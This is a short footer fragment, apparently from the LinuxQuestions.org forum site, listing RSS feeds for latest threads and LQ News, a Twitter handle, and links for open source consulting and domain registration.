RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration